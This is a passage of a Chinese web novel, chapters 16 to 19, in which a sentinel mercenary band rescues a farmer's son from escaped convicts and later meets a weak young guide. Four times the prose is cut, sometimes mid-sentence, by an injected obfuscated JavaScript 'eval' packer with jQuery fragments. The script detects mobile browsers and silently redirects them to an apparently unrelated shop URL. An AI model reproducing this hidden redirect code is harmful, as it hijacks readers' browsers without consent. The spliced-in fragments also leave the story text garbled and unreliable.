他也不打算把刚才的情况向任何人透露,以免传出去后自己晚节不保,一世英名付诸流水。 下个月他就过60大寿了,还是早点退休,回家抱孙子算了。 程浪不知道自己刚才只接受了短短一分钟的疏导,就令黄医生备受打击,做出提前退出岗位的重大决定。 她重新测了一下,精神过载从25%变成22%,只降了3个百分点。 三名手下都在厅里等着,见她出来就问感觉怎么样。 “聊胜于无吧。”程浪耸耸肩,“成哥和豪哥呢?” 孙大成:“凑合。” 熊正豪:“还行。” 李昭昭分析道:“姐,你可能太厉害了,而且刚才那个老医生的疏导水平也退化了,我都觉得一般般,何况是你,下次咱们换一家。” “好啊。” 程程的笑意有点涩,老天爷给她焊死了门,但开了一扇窗,同时却又把屋顶给掀了,她找谁说理呢。 好在她现在状况不是太糟糕,就跟熬了一次夜差不多。 年轻的时候不熬夜,难道等老了再熬吗? 诊所也有安抚剂出售,初级1000,中级2000,高级3000,虽然有副作用,但他们还是都买了一支,随身携带,有备无患。 离开诊所后程浪振臂一挥,豪迈地说:“伙计们,来接新任务吧。” 何以解忧,唯有赚钱。 趁现在脑子还清醒,赶紧多接点任务,为以后可能会出现的意外情况做准备。 李昭昭把拳头一挥:“来来来,挣钱才是硬道理!” 熊正豪:“挣钱!” 孙大成:“挣大钱!” * 半年后,橡树镇。 这个镇子地处偏远,位于12州边陲,与13州相邻,规模不大,只有数百人。 历史上这里曾经到处长满高大的橡树,风景如画,因此才得名。然而近百年来环境恶化,橡树大都全都死亡,余下干枯的树桩支楞在地面上。 往天镇上还算有点人气,此时却一片寂静。 大白天的,家家户户都闭门关窗,街上空空荡荡无人走动。 只有乘风佣兵团的四名成员贴着墙根悄悄经过,一边注意两边的动静,一边走向镇子北边的教堂。 起因是前天13州一伙越狱的重刑犯闯进了橡树镇,想要霸占这块地方,打死打伤了镇上十几名百姓,还把镇上最有钱的老伊凡家的小儿子抓为人质,向其勒索1000万信用币。 逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060290|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯共有六个人,为首的号称秃鹫詹森,是一名A级哨兵,脾气十分暴躁,濒临发狂状态,发起火来连其他逃犯一起打。 这伙逃犯目前占据了位于橡树镇北边的教堂,大部分时间都在那里活动。 老伊凡是个农场主,经营着一家小型生态农场,橡树镇大部分百姓都给他家干活,出产的农产品供应那些吃得起的达官贵人们。 但他手头上没有这么多钱,而且就怕交了赎金后这些穷凶极恶的逃犯还是会撕票。 出事后老伊凡就立即向当地市警察局报警,但那边以这些逃犯来自13州,超出本地管辖权为由拒绝了。 而13州方面又说逃犯既然进入了12州,那理应由12州来抓捕。 两边互相推诿,以至于过了一天一夜都没有官方出来为此事负责。 今天上午已经有好几户镇民拖家带口地搬离了橡树镇,剩下的要么不方便,要么没钱离开,去了别的地方也难以生存,只能胆战心惊地留下来。 下午逃犯们放出话,再给老伊凡三个小时,要是到傍晚六点还不支付1000万赎金,那就把小伊凡吊死在教堂房顶的十字架上,让老伊凡来收尸。 无奈之下,老伊凡一边筹钱一边在“暗夜纵横”上发布紧急任务,以佣金500万请人尽快制伏这伙逃犯,解救儿子小伊凡。 乘风佣兵团刚刚在13州完成了一项任务,从橡树镇附近经过准备打道回程,正好刷到老伊凡发布的这项难度为5星的新任务。 500万佣金着实不低,对乘风来说相当有吸引力,程浪衡量过任务难度后觉得可行就接了。 佣兵团成立以来,来程浪领着小弟们干了不少买卖,佣金也水涨船高,一单两三百万都是家常便饭,在道上混得风生水起。 乘风在暗网上的积分也突破了1000,成为近年来佣兵团队中发展势头最快的一匹黑马,迄今为止尚无一单任务失手,保持着100%的完成率,但又不像知名大团队那样耍大牌坐地起价,性价比非常高。 程浪如今在暗网上也小有名气,人送外号“千腕魔女”,传说她是A级顶尖哨兵,色如春花,心肠狠辣,是个杀人不眨眼的女魔头,听起来十分凶残,能止小儿夜啼那种。 外号如何且不论,眼下程浪的状态确实不好,看谁都不顺眼。 刀口舔血的日子久了,作为乘风的团长,她出力最多,压力也最大,神经始终绷得很紧,难有一刻放松。 每个月她都会有那么几天心浮气躁,寝食难安,分分钟处于暴走的边缘,或许是独属于她的另一个“生理期”。 半年时间说长不长,说短不短,为了接任务,乘风去过全联邦大部分州地,程浪看过的高级向导也有几十个,但却没有一个能够对她进行有效疏导,日积月累下来,她的精神负荷就越来越重。 这次出任务前程浪做过测试,精神过载量到了55%,接近一个比较危险的临界点。 等任务做完了,可能就要到60%,将会出现情绪失控。 程浪感觉自己头上像是悬着一把刀,不知道什么时候就会落下来,令她身首分离。 但她没有办法,只能挺着脖子继续往前。 17. 第 17 章 话说回来,四人在距离教堂还有几十米时,遇到了一对镇上的中年夫妇,表情惶恐不安。 两人各自提着一个大篮子,里面盛着面包和大饼等食物,热气腾腾,香气扑鼻。 他们几个忙着到处做任务,基本上每天都以营养剂果腹,乍一闻到这种天然的香味,都有点馋涎欲滴。 ——除了程浪以外。 她现在最大的问题是神经负荷太重导致的偏头痛,哪怕端一盘龙肉放在面前可能都没什么吸引力。 李昭昭吞了吞口水,问:“大叔,你们提着这些吃的要干什么去?那些逃犯不是就在前面的教堂吗?” 男人小声回答:“就是他们要的,说不想吃营养剂,让我们做了饭送过去。” 孙大成骂道:“靠,这些逃犯还怪会享受的,这么好的东西我们都还没吃上呢。” 熊正豪说:“就是,太特么可恶了。” 女人说:“如果你们能对付得了他们,我们也可以给你们做了吃,就怕……” 程浪拍拍胀痛的脑袋,有了主意:“不用怕,交给我们好了。” * 十余分钟后。 橡树镇的教堂有些年头了,两层楼高,主体为花岗岩建造。 里面上下贯通,底部为上百平的祷告厅,上半部墙体两侧嵌着彩绘玻璃窗,房顶竖立着一根十字架。 虚掩的大门被人敲响,有人战战兢兢地说:“几位大哥,饭送来了。” 一名膀大腰圆的男人上前拉开门,没好气地骂:“MD,怎么来这么晚,老子快饿死了。” 一男一女各挎着一个篮子进来,留着小平头的男人弓着腰道歉:“对不起对不起,做的东西有点多,时间就长了一点。” 女人打扮很土气,包着格子布的头巾,脸颊上沾着锅灰,连头都不敢抬,瑟缩着站在男人身后。 这两个自然就是假扮成镇民的孙大成和李昭昭了。 教堂里还有五名逃犯,在椅子上歪七扭八地或躺或卧,其中两名B级哨兵,三名C级哨兵。 角落的一根柱子上绑着一个十几岁的少年,神情委顿,脸上带着伤,嘴巴被胶带封着。 秃鹫詹森坐在教堂前方的高台上,神色阴鸷,双目发红,一脸戾气地审视送饭二人组:“你们两个从哪来的?我怎么好像没见过。” 詹森旁边有一只和人一样高的秃鹫,爪喙尖锐如刀,烦躁地踱来踱去,时不时用一双鹰眼监视着教堂里所有人的动向,如同探照灯一般。 这个逃犯头子看样子情绪很不稳定,杀伤力会比正常情况下更大。 孙大成不敢和詹森那双嗜血的眼睛对视,憋着一口气,极力隐藏自己的哨兵气息,嗫嚅着解释:“邻居马丁大叔一家人下午就离开镇子搬到别的地方去了,所以就换我们兄妹俩来了……” 李昭昭细声细气地跟着说:“几位大哥,你们看东西够不够吃,不够我再去做。” 其余几名逃犯急不可耐,一哄而上夺下孙大成和李昭昭手里的篮子,抓起里面的面包大饼狼吞虎咽起来。 孙大成和李昭昭退到一边,孙大成还贴心地提醒:“底下还有一只烤鸡,刚出炉的,费了不少功夫才烤好,味道应该不错。” 烤鸡味确实非常诱人,如今这个世界底层百姓一辈子都可能吃不到,对于这群刚从大牢里逃出来的犯人来说自然极有吸引力。 几名逃犯霎时抢得更凶,詹森立即走过来,踢了其中一人一脚:“滚开!” 那名逃犯只得侧过身,把位置让出来。 小伊凡已经一天没吃过东西,饿得不行,闻到食物香味肚子顿时咕咕直叫,却只能眼巴巴地看着。 突然,他瞥见教堂对面一扇半开的彩窗后面站着一个人,当即睁大眼睛。 程浪在唇边竖起手指,示意他不要声张。 小伊凡还算比较机灵,微微点头表示明白。 熊正豪则埋伏在对面的窗户边,准备伺机而动。 一只烤鸡被詹森撕了大半,一名逃犯抓到一只鸡腿,跑到旁边啃得满嘴流油。 其他逃犯如何能忍,又冲上去抢那啃得剩下一半的鸡腿。 一时间,教堂里乱哄哄闹得不可开交。 詹森的秃鹫百无聊赖,眼皮子垂下来开始打盹。 就是现在! 乘风佣兵团四名成员同时出动,李昭昭和孙大成从侧旁冲上,程浪和熊正豪则顺着拴在窗栏上的绳子从天而降。 四人分工明确,李昭昭对付三名C级哨兵,孙大成和熊正豪双人配合打两名B级哨兵,程浪则直取最厉害的詹森。 教堂里霎时乒乒乓乓响成一片,呼喝打斗声传遍整个橡树镇。 詹森把手上还没吃完的烤鸡一扔,发出一声暴怒的大吼,抡起一张重达上百斤的椅子朝程浪扔过去。 程浪灵巧地旋身避开,之后毫不停顿,一个侧鞭腿直击詹森太阳穴。 詹森的反应也不慢,转头闪躲,只被程浪的脚尖扫到侧脸,继而红着眼睛朝程浪连连挥拳。 狮鬃水母也和秃鹫精神体展开了搏斗。 这只猛禽爪尖喙利,而且还会飞,翼展足有两三米宽,不断拍打翅膀抵挡触手的攻击,还用爪子猛力撕扯,比狮鬃水母以往遇到的对手都要难对付。 蓦的,狮鬃水母一条触手被秃鹫的爪子生生扯断。 程浪脑子里某根神经霎时也像被拉扯到一样传来痛感,一不留神嘴角被詹森的拳头扫到,火辣辣的疼。 岂有此理,老娘今天还对付不了这个鸟人不成!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060291|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程浪擦了下嘴角溢出的血,怒喝一声,纤腰一拧,一脚踩上长椅,借着跃起之势纵身旋踢,照着詹森的头颅来了一记更重的回击。 詹森脑袋猛地一偏,唾液与鲜血飞溅,扑倒在侧边一排长椅上。 此时狮鬃水母也避开了秃鹫的爪牙,反过来用数条触手紧紧缠住其脖颈,像放风筝一样拖着它满天飞。 詹森已经陷入发狂状态,眼睛充血暴突,视野中出现数个程浪的重影,分辨不出哪个是实哪个是虚,只能挥舞双手乱抓一气。 程浪看中空档又补了一脚,詹森狂吼着一头撞上教堂坚硬的花岗岩墙体,当即血流满面倒在地上,颅骨发出断裂的闷响。 呼,总算解决了。 孙大成、熊正豪和李昭昭也陆续放倒各自目标,结束战斗。 六名逃犯全都失去意识,横七竖八倒了满地。 教堂里安静下来。 惨淡的日光透过彩绘玻璃照射进来,在地上投下绚丽的光芒。 程浪有些疲惫地在高台上坐下来,揉了揉太阳穴。 狮鬃水母挂了彩,潜回海域深处,被扯断的一条触手可以自己愈合,但需要一定时间。 这场战斗下来又增加了她的精神负荷,令她的头痛再次加重。 李昭昭看到程浪嘴角的血迹,跑过来问:“姐,你还好吧?” 程浪说:“还行,没有大碍。你们呢?” “我们都没事。” “那就好。” “唔,唔唔!” 角落里传来异样的声响,四人转头一瞧,是小伊凡。 孙大成上前,撕下他嘴上的胶布。 “妈呀,差点闷死我了。” 小伊凡喘了一口气,接着满脸崇拜地说:“哇,你们好厉害!尤其是那位黑头发的姐姐,简直就像传说中的战斗女神一样!” 程浪脑壳疼,火气也比较大,没什么好声气道:“战斗女神只是传说而已,她会来救你吗?” 小伊凡缩了缩脖子,不敢再跟她搭腔。 孙大成解开小伊凡身上绑的绳子,得意道:“我们乘风佣兵团当然厉害了,战斗力是杠杠滴!” 小伊凡立即眨着星星眼道:“我也想要变得这么厉害,可不可以加入你们啊?” 李昭昭把头巾一摘,撩了一下脸颊边有些零乱的卷发,露出虽然沾了锅灰也难掩明艳的脸庞:“小帅哥,你觉得姐姐长得漂亮吗?” 小伊凡不假思索:“当然!” “那我的精神体呢?” 小伊凡左右瞧了瞧:“在哪里?长什么样的?” 李昭昭咯咯直笑:“就在你面前,你要是看不到,那就不能加入我们团队哦。” 小伊凡沮丧道:“那好吧。” 18. 第 18 章 教堂门口悄悄探进一颗脑袋,看到里面的情形后不由喜出望外地大喊:“天哪!大伙儿快过来,逃犯们都被打倒了!” 沉寂了两天的橡树镇霎时热闹起来,全镇所有百姓几乎全部涌到教堂,把躺在地上的逃犯们全都五花大绑起来,顺便再给几脚,以泄心头之愤。 接着镇民们就围着佣兵团四个人夸的夸,赞的赞,教堂里一时充斥着各种彩虹屁。 老伊凡见小儿子手脚完好没有大碍,更是喜极而泣,对程浪感激不尽,当场就给她转了530万佣金——另外30万是额外的感谢费。 被这么一大群人围着叽叽喳喳说个不停,程浪只觉得聒噪心烦,从始至终都没说几句话,三名小弟倒是听得眉开眼笑。 随后老伊凡用一顿大餐招待了乘风佣兵团。 这顿晚饭的规格相当高,食材都来自老伊凡的农场,有现采的蔬菜水果,还有大块的牛排以及喷香的烤鸡,这在时下可谓相当奢侈,就算有钱也难以吃到这样新鲜美味的佳肴。 三名手下都吃得挺香,大快朵颐,纷纷感慨能吃上这样一顿大餐真是没白来一趟。 唯独程浪精神状态不佳,胃口也受到很大影响,再美味的饭菜也品不出什么滋味。 饭后老伊凡还安排了娱乐休闲节目,亲自领着他们参观自家的农场。 农场占地两百亩,全部是温室大棚,灰黄色的天空下张开着大片大片的白色篷布,站在高处看颇为壮观。 大棚里面一半种植一半放牧,隔绝了外部的污浊空气,有全套的换气、照明和净水系统,可以全天提供净化后的空气、水源和充足的光照。 种植区里绿意盎然,各种蔬菜瓜果长得欣欣向荣。养殖区域则模拟出草原的生态环境,天顶上还绘着天蓝白云,乍一看像真的一样,草地上牛羊怡然自得,还放着轻柔的背景音乐。 从外面一进大棚,清新的空气扑面而来,入眼一片悦目的青翠之色,孙大成、熊正豪和李昭昭都是“哇”声一片。 他们三个自小就在遭受污染的空气中长大,见多了萧条荒凉的环境,这种景象只在网上的宣传片里看到过,如今亲身体验,亲眼目睹,自然惊奇不已。 程浪穿来以前对这样的环境习以为常,但穿过来后也有半年没有体验过了,当即也不由得精神一振,头痛都减轻了两分。 李昭昭朝老伊凡竖了个拇指:“伊凡大叔,搞这么大个农场,你可太厉害了。” 老伊凡骄傲地说:“规模不算大,但我也知足了。这个农场从我父亲起就开始经营,到现在五六十年才做到这个程度呢。” 旁边的蔬菜槽里,自动喷淋水管正喷洒出细细的水雾,孙大成把脑袋凑过去十分享受地淋了一会儿,然后像狗一样甩了甩头,夸张道:“哇,真是太爽了!伊凡大叔,你这农场建起来花了不少钱吧?” “那可不是嘛,光这套模拟生态环境的设备就花了三千万,隔几年还要更新换代,不然坏得快,平均算下来每年都要投入大几百万呢。” 众人听了都咂舌,知道做农场肯定得投入不少钱,但没想到成本会这么高,没有点实力还真开不起。 孙大成两眼放光道:“投入多,那赚的应该也多吧?哪天我也开一个,然后就每天躺着数钱了。” 老伊凡点点头又摇头,神情中带着沧桑:“说不赚钱肯定是假的,但也没那么夸张,操心的事特别多。比如前几年发了次大洪水,把整个农场都冲毁了,当年不仅没赚到钱,还赔了几百万,现在这些都是后来重新建的。 “而且还得跟各种部门打交道,要办的手续一大堆,每一道的资格审核费用也是一笔不小的开销。我们是白手起家,没有什么人脉和靠山,如果不托关系给那些审核官好处的话一个证就能卡几个月,一批蔬菜长成了却拿不到上市售卖的资格,那就要烂在地里了。” 李昭昭愤愤道:“那些政府官员都是唯利是图的东西,专门跟老百姓作对。” 熊正豪感慨道:“干什么事情都不容易,做实业也有很多风险啊。” “那看来我是干不成了。”孙大成把手一摊,摇头叹气,“我这人就是个直脾气,碰到那些故意使绊子,天天伸手要钱的黑心官老爷,只想揍得他哭爹喊娘,没等赚到钱农场恐怕就要关门大吉了。” 知道这家伙是在开玩笑,众人一听纷纷嘻嘻哈哈调侃起来,并没当回事。 程浪一直没表态,心里倒是有些触动。 若哪天不当雇佣兵,不再打打杀杀,真能开个农场那确实不错。 赚多少钱无所谓,能够自得其乐,自给自足,每天吃到健康新鲜的瓜果蔬菜就很好。 但要开农场,就算规模比较小,至少也要有上千万的启动资金。 程浪干了半年的雇佣兵头子,挣到的大部分佣金都分给三名手下了,还有一部分是团队的集体备用金,虽然她自己没有什么奢侈消费,到目前为止一共也就攒了八百万。 本来她觉得自己大小算个富婆了,现在看还差得有点远,革命尚未成功,同志仍需努力! 老伊凡试图挽留这支实力超强的佣兵团,为自家产业和人身安全谋个保障,笑呵呵地说:“要不你们就留在橡树镇好了,我家房子多,可以随便住,东西也可以随便吃,你们想住多久都行,工资报酬都好商量。” 李昭昭、孙大成和熊正豪有些意动,但还是不约而同地看向程浪。 大姐头才是拍板做决定的人。 “谢谢,我们还有事,好意就心领了。” 程浪拒绝了,顿了顿又对三名手下道:“如果你们想留下来,我不反对。” 她何尝不想像老伊凡说的那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060292|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃吃喝喝过点轻松安稳的小日子,但现在还没有资格躺平享受,在老伊凡的农场多作停留没有意义,在这里她没有归属感,也不可能实现自己的目标。 不过人各有志,要是孙大成他们想留在橡树镇,她也绝不会阻拦。 三名小弟一听立即异口同声地表示:“老大,我们当然跟着你!” 老伊凡提出的条件虽然有点吸引人,但跟程浪一比就完全不用考虑了。 这么好的老大要是跟丢了,以后打着灯笼也找不到了。 程浪便不再多言,对老伊凡道:“不好意思,我们要告辞了。” 程浪平时看着像邻家妹子一样人畜无害,一旦严肃起来就会产生一种无形的压迫感,普通人也能明确地感受到。 “那好吧,以后你们有空,或者哪天路过橡树镇,随时都欢迎你们来做客!” 老伊凡不敢再挽留,只能将四人送到农场外面,再目送他们离开。 出来后看到晦暗的天空和周遭萧瑟污糟的环境,程浪又觉得有点呼吸不畅,偏头痛开始发作,骂道:“这鬼天气,什么时候才能变好。” 李昭昭轻声安慰:“姐,你忍忍,上车就能舒服一点了。” 孙大成和熊正豪:“嗯嗯,快到了。” 小弟们知道老大这会儿状态不佳,心情不爽,都默契地没有乱说话,免得触到程浪的霉头。 程浪也尽力克制着自己的脾气,车上备有安抚剂,如果短时间内找不到高级向导进行疏导,那就得用药物来压制。 安抚剂她用过,3000一支的,一次也就是能让她的精神过载降低5-8个百分点,跟精神疏导差不多。 就算会导致脱发,那也是没办法的事,总比发神经乱打人要强。 他们的车停在橡树镇南边,走到镇子最外围,经过一间灰扑扑的石屋时,一个穿着白衣黑裤的男人忽然从屋子里踉踉跄跄地出来,差点撞到程浪的身上。 程浪忍住焦躁的情绪,没把对方一脚踹出三米外,只是推了一下,让男人自己站稳,恼火道:“走路没带眼睛吗。” “抱歉,我不是有意的。” 男人没戴面罩,咳了一声,一手扶着旁边一道土墙,抬起头来。 天已经黑了,小屋内投出黯淡的灯光,轻轻笼在那人身上。 眼眸漆黑,鼻梁高挺,暗黄的光芒为那张俊秀温润的面庞镀上一层朦胧的光晕,像个怀旧而又遥远的梦。 只是脸庞苍白瘦削,浓长的睫毛随着呼吸轻轻颤动,带着琉璃一样的易碎感。 程浪:“……” 程浪一瞬间仿佛被什么击中,定在那里,恍然失神。 周围的声响都离她远去,全世界只剩下眼前这个陌生却又莫名透着一丝熟悉感的男人。 难道,她曾经在哪里见过吗? 19. 第 19 章 “老大,老大!” “老大,你怎么样了?” “姐,你还好吧?” 三名属下的声音唤回了程浪的神智,她才惊觉自己刚才似乎有点失态,于是掩饰道:“没事,就是刚才有点晕。” 三人见程浪意识还清楚,稍稍放下心来。 程浪快速搜寻了一下记忆,确认自己没见过眼前这个男人,可能是跟哪个明星有几分相似,于是抬脚继续往前走。 “请等一下!” 男人跟上一步:“我受伤了,但镇上唯一的医生今天一早已经逃离橡树镇,我没有合适的药物,也没有通往外面的交通工具,你们能带我去市里找一家诊所吗?我可以支付一些路费。” 他另一只手捂在左肋下方,指缝间渗出斑斑血迹,浸湿了一片布料,只是被手挡着,不是那么明显。 程浪先前的确闻到一丝血腥味,原来是来自男人身上,问道:“你这伤怎么来的?” “上午被那帮逃犯打的,我之前自己处理了一下,但伤口的血还是止不住。” 男人神色中带着淡淡的忧郁,因为疼痛轻轻皱着眉,哪怕铁石心肠也让人难以拒绝。 李昭昭低呼:“哎呀,你这血流得有点多啊。” 男人又咳了一声,说:“你们就是伊凡大叔请回来的佣兵团吧?我刚才听到教堂那边的欢呼声,那些逃犯被你们打败了是不是?真是了不起。” 刚才那么多人围着程浪,夸赞感谢的话说了几大箩筐,都不如男人这一句简单的“了不起”来得悦耳动听。 李昭昭拉了拉程浪的手臂说:“姐,不如我们就送他一程吧,反正是顺路,不会有多麻烦。” 程浪看男人那楚楚可怜的模样本来就在动摇,李昭昭这么一说便顺势答应了:“行吧,路费就算了。” 那点小钱无所谓了,当初她去鸿福山庄应聘,也是搭了孙大成的顺风车。 老大都允许了,孙大成和熊正豪自然不会反对。 一个柔弱而又受伤了的普通男人,不具任何威胁性,就当日行一善了。 “谢谢你们。”男人感激地说,“我叫傅鸣,很荣幸认识各位。” 随后,这个叫傅鸣的男人就跟乘风佣兵团四名成员一起上了车,离开了橡树镇。 * 赚了钱后乘风佣兵团鸟枪换炮,通过暗网买了辆军用防弹装甲车,车体坚固,动力更强,适合多地形行驶,跟Snake用的类似。 但他们没那么高调,把装甲车改装了一番,外观就像寻常商务车,内部有六个座位,空间也很宽敞,乘坐舒适度比较高,一般由孙大成和熊正豪轮换着开。 这会儿是孙大成开车,傅鸣身上有伤,就坐了副驾位,程浪和李昭昭以及熊正豪在后排。 孙大成随口问傅鸣:“哥们,你是橡树镇的人吗?看上去不大像呢。” 程浪被提醒了,傅鸣的气质形象确实和镇上常年劳作经常日晒雨淋的百姓不一样,细皮嫩肉的,像没有吃过多少苦头的。 刚刚她忽略了这一点,大概是被美色冲昏了头。 程浪才发现自己原来是个颜控,而傅鸣恰好长在她的审美点上,那偶尔昏一下头也能理解。 傅鸣慢慢地回答:“我家在第3州,不是本地人,父母已经去世,来橡树镇是想投靠亲戚。但没想到他们两年前已经离开橡树镇了,联系不上,不知道搬去了哪里。” 李昭昭眼睛一亮:“第3州挨着第1州呢,你去过黄金城没?” 黄金城是蓝星第一大城,联邦政府的首都,据说是全星球最繁华最漂亮的地方,没有遭受过任何战火的肆虐,无论是自然环境还是人工造物都保护得非常好。 乘风团四个人都在几个边远的大州打转,还没人踏足过这座联邦第一城。 傅鸣摇头:“没有,听说那边消费很高,工作也不好找,就没想过去那里。” 熊正豪说:“以后有机会咱们去见识一下。” 李昭昭向往地说:“是啊,这辈子一定要去一次!” 暗网上很少见到黄金城的任务,大概是因为那里是首都,权力集中,管控严格,乱子比其他地方要少吧。 偶尔出现一个,立马就被实力更强的佣兵团抢走了,轮不到乘风佣兵团。 程浪没参与对话,她的偏头痛又加剧了,太阳穴一跳一跳的,像是有把锤子在敲打她的神经。 最近的向导诊所在一百多公里以外,至少需要一个小时的车程,她等不了那么久了,于是打开背包,拿出备用的安抚剂。 正在这时,傅鸣的左肩上忽然凭空多出一只鸟。 车里一共五个人,另外三名哨兵对此一无所觉。 这会儿李昭昭在玩手环里的小游戏,熊正豪在刷网页上的新闻,孙大成专心开车,避开路上的坑坑洼洼。 唯有程浪,一瞬间感应到了。 那种似曾相识的感觉再次袭来,她蓦然睁开眼睛,看到了傅鸣肩上的鸟。 只有毛茸茸一小团,还没有拳头大,鸟喙和爪子是嫩嫩的淡黄色,羽毛灰扑扑的黯淡无光,背部和翅膀尖点缀着一些黑褐色的斑点,就像一只路边常见的小麻雀。 但程浪一眼笃定,这一只不是自然界中活生生的麻雀,也非人造的仿生机器鸟,而是一只精神体。 她不禁脱口问道:“傅鸣,你是向导?” 自从穿成哨兵后,程浪脑子里就多了一道直觉天线,无数哨兵还是向导都能一眼分辨出来。 而遇到傅鸣到现在过了十多分钟,她才看到他的精神体,这可是破天荒头一次。 也许她刚才状态不佳,又被傅鸣的出现扰乱了心神,导致判断力受到了影响。 三名手下听到程浪的问话,齐齐转过头,这才后知后觉地发现傅鸣居然有精神体,并非普通人,顿时个个都很意外。 向导在联邦是受政府保护和特殊关照的重点人群,傅鸣既然有这种身份,怎么会把自己搞得这么凄惨呢? 在四名哨兵炯炯有神的目光注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060293|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视下,傅鸣面带窘迫地回答:“是的,我是向导,但是等级很低。而且我有些先天不足,精神力太弱,导致精神体时隐时现,无法长时间凝聚出形态。” “所以,我并不是一名合格的向导,没有在联邦向导协会注册的资格。” 说到最后,傅鸣声音低了下去,透出一丝落寞。 哨兵们恍然大悟,原来如此。 异能者强如程浪,可以随心所欲地展示或隐藏自己的精神体。而傅鸣就恰好相反,因为精神力太弱而不能维持精神体的稳定形态,这也可以理解。 向导确实难得,在联邦的地位和待遇都比较高,但像傅鸣这种情况就比较尴尬了。 等级太低,能力有限,连精神体也无法稳定地维持,相当于是向导中的残次品,所以才会在外漂泊,既没有被向导协会接纳,也没办法开一间自己的私人诊所。 李昭昭和孙大成熊正豪既同情又惋惜。 难得在外面捡到个野生向导,可惜不能给大家做疏导,有精神体也约等于无。 李昭昭安慰道:“没关系,你的精神体还是很可爱的。” 她伸出手想要摸摸傅鸣的小鸟,那只小东西却扑扇着翅膀飞了起来,落到傅鸣的右肩,让李昭昭的手落了空,动作倒是挺灵巧。 李昭昭:“……” 傅鸣歉然道:“不好意思,它比较认生……” 话没说完,一条手指粗细、色泽橙红的半透明触手冷不丁从后座蜿蜒过来,像条蛇一般,尖端一勾,准确无误地圈住了小鸟。 小家伙被勒得“叽”的叫了一声。 程浪:“……” 傅鸣:“……” 程浪挺尴尬,刚才狮鬃水母明明在精神海域深处休息,怎么突然招呼都不打一个,就这么冒了出来。 还把人家胆小脆弱的小鸟抓在手里,实在有点唐突失礼。 傅鸣似乎受到了惊吓:“这、这是什么?” “不用怕,是我的精神体狮鬃水母的触手。” 程浪解释道,随后在脑海中下令:【放开那只鸟,别把人家吓到了。】 还好狮鬃水母缩小了体型,现在只有碗口大,触手只有一尺来长,要是现出房子一样大的原形,搞不好把人家直接吓晕了。 一向令行禁止的狮鬃水母这回却不听指挥,只是稍稍放松了对小鸟的禁锢,接着就伸出更多的触手来触碰它。 小鸟拍打翅膀想要躲避,狮鬃水母立即把几十条触手上下一合,如同编了个华丽丽的笼子,让小家伙无处可逃,继而托着它一上一下地颠着,像玩杂耍一样。 程浪简直没眼看。 狮鬃水母平时挺稳重,今天怎么玩性这么大。 精神体和主人的感受是紧密相连的,程浪明显可以感觉到狮鬃水母的愉悦之情,刚才明明还很暴躁,想要毁灭世界。 不可否认的是,她感觉自己紧绷的神经在不知不觉中放松了一些,头痛也不像刚才那样剧烈了。 这倒是难得。